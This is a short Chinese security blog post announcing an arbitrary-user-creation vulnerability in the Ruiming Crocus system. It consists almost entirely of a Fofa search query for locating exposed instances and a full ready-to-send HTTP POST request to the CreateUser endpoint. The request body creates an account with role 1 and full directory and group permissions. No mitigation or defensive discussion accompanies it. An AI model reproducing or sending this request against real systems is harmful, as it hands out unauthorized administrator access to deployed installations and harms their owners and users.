Warning: Undefined array key "HTTP_ACCEPT_LANGUAGE" in /www/wwwroot/blog.guapiwo.top/usr/themes/joe/public/tencent_protect.php on line 40

Deprecated: strpos(): Passing null to parameter #1 ($haystack) of type string is deprecated in /www/wwwroot/blog.guapiwo.top/usr/themes/joe/public/tencent_protect.php on line 40
锐明Crocus系统存在任意用户添加漏洞 - 瓜皮博客_d0glun
锐明Crocus系统存在任意用户添加漏洞
锐明Crocus系统存在任意用户添加漏洞
瓜皮博客_d0glun

锐明Crocus系统存在任意用户添加漏洞

d0glun
2025-05-19 / 0 评论 / 11 阅读 / 正在检测是否收录...

Fofa语法
body="inp_verification"

POST /RoleUser.do?Action=CreateUser HTTP/1.1
Host: 
X-Requested-With: XMLHttpRequest
Token: d2Vic2VjOjE3MjQwNjk4NzE5NDk=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=5420BDDEB39984240BE700F2E755F2F9; Saffron.U=VUlEPTImVU49d2Vic2VjJkdJRD0xNzI0MDY5ODcxOTQ5MSZSSUQ9MSZNPUJNYXAmSU5TPTE=
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 243

UserID=&RoleID=1&DirName=%E6%A0%B9%E7%9B%AE%E5%BD%95&DirPower=1&GroupPower=1&GroupPowerName=crocus-center(81)&UserName=d2Jz&Password=ed5b11f0310676df5b25b140d8aab20e&ConfirmPassword=ed5b11f0310676df5b25b140d8aab20e&TelPhone=&Email=admin123%40qq.com
1

评论 (0)

取消